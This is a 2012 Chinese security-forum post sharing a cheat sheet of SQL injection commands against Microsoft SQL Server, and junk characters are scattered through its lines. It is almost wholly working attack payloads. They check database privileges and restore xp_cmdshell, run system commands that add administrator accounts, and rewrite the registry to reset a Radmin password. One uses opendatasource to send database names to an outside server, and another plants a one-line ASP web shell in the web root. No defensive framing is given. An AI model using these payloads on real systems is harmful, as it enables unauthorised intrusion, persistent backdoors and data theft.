找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1831|回复: 0
打印 上一主题 下一主题

阿D常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:26:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
阿D常用的一些注入命令9 C" L6 [9 _7 j. ~
//看看是什么权限的: h& c5 h8 [- G' `) g9 i7 a
and 1=(Select IS_MEMBER('db_owner'))* d0 {" G  T9 \5 m8 S; x
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
, e4 J" X8 b5 i5 p; \* J7 f) I/ p$ s9 ^
//检测是否有读取某数据库的权限
" v: x! n6 w$ H* P4 r7 s) band 1= (Select HAS_DBACCESS('master'))% F4 T6 k, D4 Y& E% c. S
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
/ W. K& O" e' \4 ~+ D: @3 U* _7 O, @/ ]; c& r3 x5 n0 g
( l" h0 j. [: q# S" D4 Q/ @
数字类型
6 I- w3 G! y2 R, `  Zand char(124)%2Buser%2Bchar(124)=07 t+ E: C' m0 I# p) U

, e' U) ^) a) Y- Q) W" _' U! j; j字符类型
7 _: P" J- G+ r$ i0 s5 J' and char(124)%2Buser%2Bchar(124)=0 and ''='
1 `9 J2 o/ `: u1 ~7 \
9 ^" F5 C3 Z- a7 O  a搜索类型
) {' w9 v3 F. ^1 G) O& q8 d' and char(124)%2Buser%2Bchar(124)=0 and '%'='
. n- M9 B' {) k7 c" f/ A' q
4 O# }" j( U  j* H8 p. G爆用户名- E0 {  L6 I. J& P
and user>0
; I# K$ Y# y+ Y7 B' G+ s2 p) f' and user>0 and ''='
8 J4 M! Y+ N0 {8 N& H' A
, s' y* M5 B6 u4 C* _2 e检测是否为SA权限
8 x. C: ~* M2 o4 ?and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
) {5 l1 T  c+ B& r& C6 JAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
' o8 U5 Q8 s2 f% c2 H- u
' I5 V. O& B" @: t. \# M1 D检测是不是MSSQL数据库3 {  e8 U1 h6 R; Q2 |  ^
and exists (select * from sysobjects);-- & u- W' T( m8 C' \

0 f7 q8 A) R( s0 A$ q0 p5 F3 o; m  D检测是否支持多行
5 V; X+ N5 l) C) L5 O# r;declare @d int;-- 1 e* c% V& x  F( n
, b4 W" u4 ~$ u/ }7 L: e1 b
恢复 xp_cmdshell
( S2 t" F5 H) Q9 f;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
' n" V  n$ @% Z6 w, J$ \" s% p# \% @6 T) h( @% J( \" D

6 \) E  c7 `! n& F! C+ |& ^4 M/ gselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
2 M2 \" I8 q' z5 k6 y, \/ G: t8 P/ Z: i
//-----------------------
) q; B4 Z) j" v9 H: T! r# S//      执行命令
" b- n6 f( X. j, N, }8 Q% w. q//-----------------------2 d4 s* E  }4 H" o# N5 \7 A" e1 C
首先开启沙盘模式:# V  ?$ M8 u' L/ @* }
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1! F! u# K9 F: m

1 K6 |( |2 c! Y% h8 O8 @然后利用jet.oledb执行系统命令
3 S# n7 _5 E4 c- {select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
  h; H% V6 [" m* M$ E9 O7 [4 Z; A0 T# Q3 S2 O
执行命令
- E9 @) J6 f% y$ x# J2 T9 ^2 G;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--5 L- j% ?8 f# z
. _+ O  g4 g9 W- K( j
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'6 p3 K9 E- Z/ H$ k% B
$ A+ V2 B+ ]+ |; R
判断xp_cmdshell扩展存储过程是否存在:' n6 \* D8 ]* T
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')" U0 \2 t0 n  m  m

. `9 x! f5 Y. ]) I写注册表
% _0 t/ \# \0 W. Hexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
4 ?0 O  ?4 R$ @" P7 r
; J1 t3 w. {9 |: V6 ~; M6 YREG_SZ
8 U# s$ h3 F/ z* z8 U+ l* J; Z4 S" w! b/ m' [+ D2 X
读注册表2 I1 v$ ~4 S4 e- V
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
0 d$ G9 G6 w7 B- t% L/ C0 A# y" R/ J: H& U: Y7 y
读取目录内容
* Y( F. V' b  Gexec master..xp_dirtree 'c:\winnt\system32\',1,1( {9 ~% s: y% q' I, Q
, y' y9 @4 n. b0 ~0 E

' j- E% e) y, Z9 G+ V- B$ @数据库备份
# r7 J1 t; u& L' }: u1 K  r1 e: hbackup database pubs to disk = 'c:\123.bak'
3 a+ D  M3 N- ?$ t' S9 u" t1 `1 P
$ [) Z1 w8 ]7 H* z7 W/ o1 C3 ^//爆出长度+ \- k5 R9 B! G0 O3 _9 T
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--) v7 W$ a) [9 V2 i: P
1 B; z. P8 T: M6 J4 G
! j' {& s3 V! h0 l9 q7 u5 x
* C3 P2 T2 Q3 s5 r7 w
更改sa口令方法:用sql综合利用工具连接后,执行命令:
* ~9 d& }! i$ V! jexec sp_password NULL,'新密码','sa'- l9 w2 ^! G3 L/ {5 w9 s

2 ]# p* K, a/ M" i, t添加和删除一个SA权限的用户test:8 I. l' s3 A9 _/ m" M& ?+ H
exec master.dbo.sp_addlogin test,ptlove" C* p# D) J+ E/ {
exec master.dbo.sp_addsrvrolemember test,sysadmin
5 U0 b' S8 o# y$ c- W" w- _% F$ m7 Q/ `# T3 W. E6 g2 M2 v- i
删除扩展存储过过程xp_cmdshell的语句:
+ X& v" Y- I1 eexec sp_dropextendedproc 'xp_cmdshell'$ D8 E& _9 k+ ~
/ \5 m8 b0 r5 j7 o; L; X/ S3 N: ~
添加扩展存储过过程4 Z8 G( b1 i: @
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' + }; l. [+ s; r6 G- H: X# F* s
GRANT exec On xp_proxiedadata TO public
) S. {. I4 j5 l4 C# c/ f5 M, l# B9 K( C1 T. R
" }6 U% w9 p  a9 x. a
停掉或激活某个服务。 2 V: V) _# Z& N
& ?5 T# d% u& s2 X  ]
exec master..xp_servicecontrol 'stop','schedule'
; p6 h/ [, ?1 H& [exec master..xp_servicecontrol 'start','schedule'
7 ~; m9 D4 I* @2 S0 ^. n5 x* l1 k! |
dbo.xp_subdirs
2 n: A& w. A1 S' R; t5 z8 P# o0 r( ^: W% K( w& W0 [
只列某个目录下的子目录。4 [! ~8 G- S! W3 \5 d9 D! ]
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'# m$ r; s6 W5 F! {0 Q
4 @5 R1 x3 w7 j6 i8 S. v
dbo.xp_makecab
* F! v7 u, i& I0 w6 O  h* U5 ~# s. z) O5 b
将目标多个档案压缩到某个目标档案之内。/ f9 @6 c) j) p: X" @9 j
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
0 J3 Q' P$ W, F# \' X7 P
7 p7 B4 k: q- V, vdbo.xp_makecab
% D- C* A7 w  _" V# B'c:\test.cab','mszip',1,4 b% I- F) H) `+ M
'C:\Inetpub\wwwroot\SQLInject\login.asp',, J: v6 A4 L/ u- H
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'! z, r, S  x1 B* a
+ x+ @5 d" a0 V! T8 M, b6 A5 G
xp_terminate_process/ }( s0 q' M3 {9 w, Y3 f- {

/ E* j! @; Q" K/ O6 l停掉某个执行中的程序,但赋予的参数是 Process ID。1 H/ l8 ^# G. U- Q
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
: s! h+ ]% Y. u, W3 H6 t  m9 G
1 l  a/ ?5 A5 y- P7 {7 axp_terminate_process 2484
, h# M5 `8 e9 q/ ~, u6 h: I( E( ]. N6 |& K
xp_unpackcab2 j0 |) P5 ^- M9 l
3 R3 f1 C! G7 t* j+ t/ `
解开压缩档。
) O2 y: d: R. [: k0 S
0 s* y; u3 P) a3 y9 ~3 N8 j; J# Exp_unpackcab 'c:\test.cab','c:\temp',1
. A) {, \$ t: Z, P" z
4 E$ h- @" m* q* }4 {5 j+ s: I/ U) e: r! R+ Z9 @+ H  e& {( B$ ^
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234  s1 q  L8 C' a5 A$ ^

5 ^) [6 G% M* U1 fcreate database lcx;
  Y0 U6 G6 s; r" m* b! vCreate TABLE ku(name nvarchar(256) null);# `/ A1 K% f# s# @8 t% l4 L
Create TABLE biao(id int NULL,name nvarchar(256) null);# t. _7 r% y7 v# ?9 i  u

0 n6 A+ T  P8 N/ `# M//得到数据库名4 V3 [6 u, D- H* {; U
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases' i' `3 y, A. }1 u5 ^& @
3 w* |9 I" y# K# O" I/ F' M

! D  G. p6 T9 ]7 X4 m" a8 |//在Master中创建表,看看权限怎样
, f8 k0 M( ?) W. ^7 L; l- K( wCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
  G$ ]8 Q  z0 ]6 A
9 X: L! H. f- D7 d" Y用 sp_makewebtask直接在web目录里写入一句话马:
- [0 {9 l4 e% w; shttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
) C2 f$ d8 s9 k! X2 H, ?; B* q/ b+ z3 L' K: D, S" ^3 D
//更新表内容
; ~0 h! O7 U- I: FUpdate films SET kind = 'Dramatic' Where id = 123/ i/ Y4 B1 H$ E9 h% O6 W- k+ y4 i

; ^- {! B: f* E5 E* i* Y8 S//删除内容- y2 h2 v4 L. |! M/ }7 t" N2 ~
delete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表